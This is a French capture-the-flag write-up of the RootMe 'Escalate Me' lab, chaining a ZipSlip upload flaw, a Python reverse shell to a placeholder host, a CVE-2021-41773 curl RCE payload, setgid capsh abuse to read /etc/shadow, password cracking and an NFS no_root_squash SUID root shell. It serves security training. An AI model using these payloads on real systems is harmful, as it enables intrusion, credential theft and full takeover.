EC2 & RootMe - Challenge réaliste Escalate Me

Table des matières :

Introduction

Dans cet article je vous propose un writeup du challenge Escalate Me proposé par la plateforme RootMe à l’European Cyber Cup 2022 à Lille.

Enoncé du challenge

Un stagiaire peu soucieux de la sécurité a mis en place un nouveau site pour votre entreprise. Celui-ci à négligé certaines règles de base d’administration système. Exploitez chaque erreur de configuration jusqu’à obtenir les droits d’administration sur la machine.

Ressources associées:

En cliquant sur Démarrer le challenge vous pouvez démarrer cette VM sur RootMe.

Phase de reconnaissance externe

Scan des ports ouverts

Dans un premier temps, nous allons scanner la machine pour trouver des ports ouverts et les différents services qui y tournent. Pour cela nous utilisons la commande suivante nmap -p- -sV ctf35.root-me.org -oN nmap.txt et nous obtenons ces résultats:

Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-12 09:47 CEST
Nmap scan report for ctf35.root-me.org (163.172.229.173)
Host is up (0.027s latency).
Not shown: 65525 closed ports
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    filtered smtp
80/tcp    open     http     Apache httpd
111/tcp   open     rpcbind  2-4 (RPC #100000)
2049/tcp  open     nfs_acl  3 (RPC #100227)
3000/tcp  open     http     Werkzeug httpd 0.12.2 (Python 2.7.16)
35097/tcp open     nlockmgr 1-4 (RPC #100021)
45451/tcp open     mountd   1-3 (RPC #100005)
50341/tcp open     mountd   1-3 (RPC #100005)
56301/tcp open     mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds

Nous remarquons tout de suite deux ports exposant des applications web, le port 80/tcp (exposant un serveur apache2) et le 3000/tcp (exposant un service Python) :

Le serveur apache2 sur le port 80

Sur le port 80, un serveur Apache2 expose une application web protégée par une Basic Authentification :

L’application Flask sur le port 3000

Sur le port 3000, un serveur python Werkzeug expose une application web écrite en Python avec le module Flask.

Nous pouvons télécharger le code source du site directement depuis la page d’acceuil, et envoyer une candidature à l’entreprise :

Nous allons maintenant analyser ce code source pour identifier de potentielles vulnérabilités.

Obtenir un shell sur la machine

Vulnérabilité zip slip dans l’application web

Maintenant que nous avons le code source, nous pouvons commencer à l’analyser. On remarque très vite le comportement de la page /upload qui nous permet d’uploader une archive ZIP et de la dézipper coté serveur. La décompression de l’archive est réalisée par la fonction suivante :

def unzip(zipped_file, extract_path):
    try:
        files = []
        with zipfile.ZipFile(zipped_file, "r") as z:
            for fileinfo in z.infolist():
                filename = fileinfo.filename
                data = z.open(filename, "r")
                files.append(filename)
                outfile_zipped = os.path.join(extract_path, filename)
                if not os.path.exists(os.path.dirname(outfile_zipped)):
                    try:
                        os.makedirs(os.path.dirname(outfile_zipped))
                    except OSError as exc:
                        if exc.errno != errno.EEXIST:
                            print "\nRace Condition"
                if not outfile_zipped.endswith("/"):
                    with io.open(outfile_zipped, mode='wb') as f:
                        f.write(data.read())
                data.close()
        return files
    except Exception as e:
        print "Unzipping Error" + str(e)

Dans cette fonction, nous pouvons remarquer que la fonction unzip() est vulnérable à l’attaque ZipSlip. En effet la ligne 334 dans cette fonction réalise un os.path.join sur le chemin d’extraction extract_path (non contrôlé par l’attaquant) et le filename de chaque fichier de l’archive (eux sont contrôlés par l’attaquant).

outfile_zipped = os.path.join(extract_path, filename)

Le filename étant chargé depuis le nom du fichier contenu dans l’archive ZIP, lorsque la fonction unzip() réalise un os.path.join sur extract_path et filename nous obtenons un path traversal: ./uploads/../../../../../tmp/test.txt. Cette Vulnérabilité nous permet d’uploader des fichiers où l’on veut sur le système distant.

Réécriture de app.py pour créer un nouvelle route

Pour exploiter la faille ZipSlip que nous avons identifié plus haut, nous allons créer une archive ZIP avec un fichier ayant un nom commençant par des ../. Ceci nous permettra d’écrire notre fichier ou l’on veut sur le système.

@app.route('/shell', methods=['GET'])
def shell():
    import pty, socket, os
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("1.2.3.4", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn("/bin/sh")
    return "shell is down ..."

Une fois créée, nous pouvons vérifier la validité de l’archive et du nom de fichier avec 7z l exploit.zip:

$ 7z l exploit.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (306A9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 19663 bytes (20 KiB)

Listing archive: exploit.zip

--
Path = exploit.zip
Type = zip
Physical Size = 19663

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-06-08 14:03:58 .....        19547        19547  ../app.py
------------------- ----- ------------ ------------  ------------------------
2022-06-08 14:03:58              19547        19547  1 files

Et nous voyons bien notre fichier ../app.py présent dans l’archive.

Obtenir un reverse shell en tant que l’utilisateur flask

Pour terminer cette phase de l’exploitation, nous allons téléverser ce fichier sur la page /upload de l’application Flask.

Ensuite nous accédons à la route /shell pour lancer notre reverse shell.

Téléverser une clé SSH

Une fois que nous avons un accès à la machine distante via un reverse shell, nous pouvons récupérer l’utilisateur utilisé par l’application Flask, ici l’utilisateur flask. Nous en aurons besoin pour savoir dans quel dossier téléverser la clé SSH sur le serveur.

Pour faire plus simple, nous pourrions téléverser une clé SSH dans /home/flask/.ssh/authorized_keys grâce à la vulnérabilité ZipSlip pour avoir un shell stable via SSH. Pour cela, nous allons créer une archive contenant une clé publique dans le fichier authorized_keys et effectuer une path traversal pour l’écrire sur /home/flask/.ssh/authorized_keys.

$ 7z l exploit.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz (306A9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 19663 bytes (20 KiB)

Listing archive: exploit.zip

--
Path = exploit.zip
Type = zip
Physical Size = 19663

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-06-08 14:03:58 .....        19547        19547  ../../../../../home/flask/.ssh/authorized_keys
------------------- ----- ------------ ------------  ------------------------
2022-06-08 14:03:58              19547        19547  1 files

Maintenant que cette archive est créée, nous n’avons plus qu’à l’uploader sur l’application web hébergée sur http://ctf35.root-me.org:3000 pour que notre accès SSH soit prêt.

Accès shell en tant que flask

Nous avons donc deux moyens d’obtenir un accès shell sur le serveur distant.

  • Via un reverse shell: Après réécriture du fichier app.py grâce à la faille ZipSlip, nous démarrons un listenner netcat sur notre machine attaquante et nous accédons à la nouvelle route /shell de l’application.

  • Via SSH: Une fois que la clé publique à été correctement uploadée, nous pouvons nous connecter grâce à la commande suivante: ssh flask@ctf35.root-me.org -i ./id_rsa. (Note: Il est nécessaire de d’abord récupérer l’utilisateur utilisé par l’application Flask)

Escalade de privilèges de flask à www-data

Maintenant que nous avons un accès shell en tant que l’utilisateur flask, nous allons effectuer une phase de reconnaissance pour trouver comment élever nos privilèges.

Reconnaissance en tant que flask

Sur le serveur distant, nous avons 6 utilisateurs intéressants : flask, construction, debian, www-data, admin, root.

$ ls -lha /home/
total 20K
drwxr-xr-x  5 root   root   4,0K mai   27 07:32 .
drwxr-xr-x 18 root   root   4,0K juin  12 09:45 ..
drwxr-x---  3 admin  admin  4,0K mai   27 07:40 admin
drwxr-xr-x 15 debian debian 4,0K mai   27 07:45 debian
drwxr-xr-x  8 flask  flask  4,0K mai   30 02:03 flask
$

Nous allons maintenant chercher le fichier .htpasswd contenant les identifiants permettant d’accéder à l’application web hébergée sur le serveur Apache2. Nous les trouvons dans /usr/local/apache2/htdocs/.htpasswd pour l’utilisateur construction :

$ find / -name ".htpasswd" -type f 2>/dev/null
/usr/local/apache2/htdocs/.htpasswd
$ cat /usr/local/apache2/htdocs/.htpasswd
construction:$apr1$W1ML7VzP$XuznQ.ierNEMwKOB0KfZ7/

Nous pouvons maintenant cracker ce mot de passe, en espérant qu’il soit faible.

Cracking du mot de passe de .htpasswd

Nous allons utiliser john pour casser ce hash md5crypt :

$ john hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 294 candidates buffered for the current salt, minimum 384 needed for performance.
Proceeding with wordlist:./run/password.lst, rules:Wordlist
america          (construction)
1g 0:00:00:00 DONE 2/3 (2022-06-12 11:41) 16.66g/s 41800p/s 41800c/s 41800C/s 123456..keeper
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Le mot de passe pour accéder au serveur apache2 avec l’utilisateur construction est america.

Accès à l’application web sur le port 80

Maintenant que nous avons les identifiants nous allons pouvoir accéder au serveur apache2 avec l’utilisateur construction.

RCE sur Apache2 avec la CVE-2021-41773

Certaines versions du serveur Apache2 sont vulnérables à une faille “Path traversal” permettant d’accéder à des fichier en dehors des répertoires configurés par des directives de type Alias. Si les scripts CGI sont également activés pour ces chemins avec alias, cela pourrait permettre l’exécution de code à distance.

Pour exécuter des commandes sur la machine distante nous utilisons la payload suivante :

curl "http://ctf35.root-me.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; mkdir /tmp/poda/' -H 'Authorization: Basic Y29uc3RydWN0aW9uOmFtZXJpY2E='

Nous allons utiliser cela pour créer un shell SUID en tant que www-data dans /tmp/ de la manière suivante :

mkdir /tmp/www-data/
chmod 777 /tmp/www-data/
cp /bin/sh /tmp/www-data/sh
chmod 4777 /tmp/www-data/sh

Une fois intégrées dans la payload d’exploitation de la CVE-2021-41773, nous avons :

curl "http://ctf35.root-me.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; mkdir /tmp/www-data/; chmod 777 /tmp/www-data/; cp /bin/sh /tmp/www-data/sh; chmod 4777 /tmp/www-data/sh;' -H 'Authorization: Basic Y29uc3RydWN0aW9uOmFtZXJpY2E='

Ensuite on lance le reverse shell depuis l’application Flask et on lance localement le shell SUID de www-data avec /tmp/www-data/sh -p :

Escalade de privilèges de www-data à admin

Nous avons maintenant un shell en tant que www-data.

Phase de reconnaissance

Maintenant que nous avons un shell en tant que www-data nous allons chercher comment élever nos privilèges à nouveau. Pour cela nous pouvons chercher tous les fichiers appartenant à notre utilisateur courant (ici www-data) :

www-data@escalate-me:/$ find / -user www-data -type f -ls 2>/dev/null
...
1047416     28 -rwxr-sr-x   1 www-data shadow      26776 mai 25 02:00 /usr/bin/capsh
1449524     24 -rw-r--r--   1 www-data www-data    23773 mai 27 03:02 /usr/local/apache2/htdocs/index.html
1449525      4 -rw-r--r--   1 www-data www-data     3652 mai 27 02:48 /usr/local/apache2/htdocs/style.css
1449526     20 -rw-r--r--   1 www-data www-data    18049 mai 27 02:48 /usr/local/apache2/htdocs/undraw_dev_productivity_umsq\ 1.svg
1051241      4 -rw-r--r--   1 www-data www-data      113 mai 27 01:13 /usr/local/apache2/htdocs/.htaccess
1072191     24 -rw-r--r--   1 www-data www-data    23750 mai 27 04:52 /usr/local/apache2/htdocs/index.html.save
1047801      4 -rw-r--r--   1 www-data www-data       51 mai 27 01:11 /usr/local/apache2/htdocs/.htpasswd
1048119      4 -rw-r--r--   1 www-data www-data      113 mai 27 01:41 /usr/local/apache2/cgi-bin/.htaccess
1446756    120 -rwsrwxrwx   1 www-data www-data   121464 juin 12 14:29 /tmp/www-data/sh

L’un des fichiers trouvé est très intéressant. Le binaire /usr/bin/capsh appartient à l’utilisateur www-data mais fait partie du groupe shadow avec un bit setgid sur ce binaire.

Lancement d’un shell dans le groupe shadow

Nous avons un binaire /usr/bin/capsh appartenant à l’utilisateur www-data avec un bit setgid pour le groupe shadow.

www-data@escalate-me:/$ ls -lha /bin/capsh
-rwxr-sr-x  1 www-data shadow    27K mai   25 02:00 /bin/capsh

Si nous arrivons à utiliser ce binaire pour ouvrir un shell, nous serons dans le groupe shadow (grâce au bit setgid présent) et cela nous permettra de récupérer les hashs des mots de passe de tous les utilisateurs.

$ /bin/capsh -h
usage: /bin/capsh [args ...]
  --help         this message (or try 'man capsh')
...
  --uid=<n>      set uid to <n> (hint: id <username>)
  --gid=<n>      set gid to <n> (hint: id <username>)
...
  --             remaining arguments are for /bin/bash
                 (without -- [/bin/capsh] will simply exit(0))

Quelques options sont ici très intéressantes! Nous pouvons spécifier l’uid et le gid du shell qui sera démarré par /bin/capsh. Nous allons récupérer l’uid de www-data depuis /etc/passwd et le gid de shadow depuis /etc/group :

$ cat /etc/group | grep shadow
shadow:x:42:
$ cat /etc/passwd | grep www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
$

La payload finale est la suivante (sans oublier le -p pour conserver les droits au lancement de /bin/bash) :

www-data@escalate-me:/tmp/poda$ /bin/capsh --gid=42 --uid=33 -- -p
bash-5.0$ id
uid=33(www-data) gid=1003(flask) egid=42(shadow) groupes=42(shadow),1003(flask)

Lecture de /etc/shadow

Comme notre shell est lancé avec les droits uid=33(www-data) gid=1003(flask) egid=42(shadow) nous sommes dans le groupe shadow et nous pouvons extraire le hash de l’utilisateur admin en lisant le contenu de /etc/shadow :

bash-5.0$ cat /etc/shadow
root:$1$BccgLs3f$yIaTwKdZQ7Zdl1zvmMw/X.:19139:0:99999:7:::
debian:$6$N/AwvBbwhhWiZqXU$rX2APdc8Ssriy5l9EUn752gkyWABr.MjgeUoNq9aY..h20qZ6I/LlwOIwhmlHO/FIMcgPvFc7iX37pUrRLZ1S/:19139:0:99999:7:::
admin:$1$PwNmeBr0$VXoK.aIm.K3q8v1zUyZ0I1:19137:0:99999:7:::
contruction:$6$j8kVM4dsKAurztJ0$6bwRC/Bbkn5JnEtwW7CDNs3zqqpg1mXtCHKv/GvK5hFfCkGHmlRlNLxYyc125kEpOkiTrhrLNZugGNzP9n39./:19139:0:99999:7:::
flask:$6$IvWvjV.IWHTY5KX9$F93t9p1hA4X2Ka24xlTSzNVG9btG0rTOMGg8zhiVsKT3pBbKPLkBGrch.dPz4pVOz7vp9S5h6J.H2bQT6YBAy1:19139:0:99999:7:::
bash-5.0$

Et nous allons tenter de le casser avec john :

podalirius@hermes:~/Softwares/john-1.9.0-jumbo-1$ ./run/john ./hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 48 needed for performance.
Proceeding with wordlist:./run/password.lst, rules:Wordlist
loveyou          (admin)
1g 0:00:00:00 DONE 2/3 (2022-06-09 09:34) 5.263g/s 24515p/s 24515c/s 24515C/s keller..rocket1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nous connaissons maintenant le mot de passe de l'admin. Le mot de passe est loveyou.

Escalade de privilèges de admin à root

Maintenant que nous connaissons le mot de passe de l’admin, nous pouvons nous connecter directement en SSH au serveur distant.

Phase de reconnaissance

Lors de la phase de reconnaissance nous trouvons le fichier de configuration /etc/exports des dossiers partagés NFS. Cette configuration NFS expose le dossier local /home/admin à toutes les adresses IP source (c’est l’option * dans la ligne de configuration) et possède le flag no_root_squash.

$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/admin       *(rw,no_root_squash,insecure)
$

Le flag no_root_squash est une configuration vulnérable à une escalade de privilège car les droits SUID des binaires sont conservés par le dossier partagé. Si un attaquant monte le dossier partagé et dépose un shell /bin/sh possédé par root et ayant un bit SUID, il pourra ensuite élever ses privilèges localement depuis un shell sur le serveur et un accès au fichier SUID qu’il a déposé. C’est ce que nous allons faire !

Montage du dossier partagé

Pour monter le dossier partagé sur votre machine, vous aurez besoin du paquet nfs-common pour pouvoir monter ce type de système de fichier.

apt install nfs-common

Une fois que vous l’avez installé, vous pouvez monter le dossier partagé à l’aide de la commande suivante :

root@THOR:/tmp# mkdir /tmp/mnt
root@THOR:/tmp# mount -t nfs ctf35.root-me.org:/home/admin /tmp/mnt

Ensuite on peut vérifier que le dossier est bien monté avec un ls -lha, qui nous indique des fichiers appartenant à l’utilisateur 1001 (le admin du serveur distant) :

root@THOR:/tmp# cd mnt/
root@THOR:/tmp/mnt# ls -lha
total 32K
drwxr-x---  3 1001 1001 4,0K mai   27 07:40 .
drwxrwxrwt 19 root root  20K juin  12 13:21 ..
-rw-------  1 1001 1001    6 mai   30 02:33 .bash_history
drwx------  3 1001 1001 4,0K mai   27 07:40 .gnupg
root@THOR:/tmp/mnt#

Nous n’avons plus qu’a préparer notre exploit !

Copie et lancement du shell suid root

Maintenant que nous avons un lien entre notre dossier local /tmp/mnt et le dossier distant /home/admin, nous allons copier un shell et lui appliquer des permissions SUID root. Pour cela, nous allons copier /bin/sh dans /tmp/mnt (avec cp /bin/sh /tmp/mnt) et lui ajouter le bit suid root ainsi que les permissions 777 (avec chmod 4777 /tmp/mnt/sh). Nous avons alors un shell SUID root dans le dossier partagé :

Maintenant, nous nous connectons à la machine en SSH avec l’utilisateur admin et le mot de passe loveyou cassé depuis /etc/shadow et nous lançons le shell SUID root. Attention à ne pas oublier l’option -p sinon les privilèges SUID ne serons pas conservés. L’explication détaillée de ce comportement et de l’utilité de l’option -p se trouve ici.

Les droits sont bien passés, comme nous le voyons nous avons un shell avec euid=0(root). Pour effectuer des actions plus poussées sans être limité, il est intéressant d’avoir un véritable shell avec uid=0(root). Pour cela, nous pouvons utiliser python pour passer d’un euid à un uid, grâce à cette payload :

python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'

Nous lançons cette payload, et nous obtenons un véritable shell root :

Conclusion

Voici un graph résumant les différentes étapes d’exploitation de cette box :

Références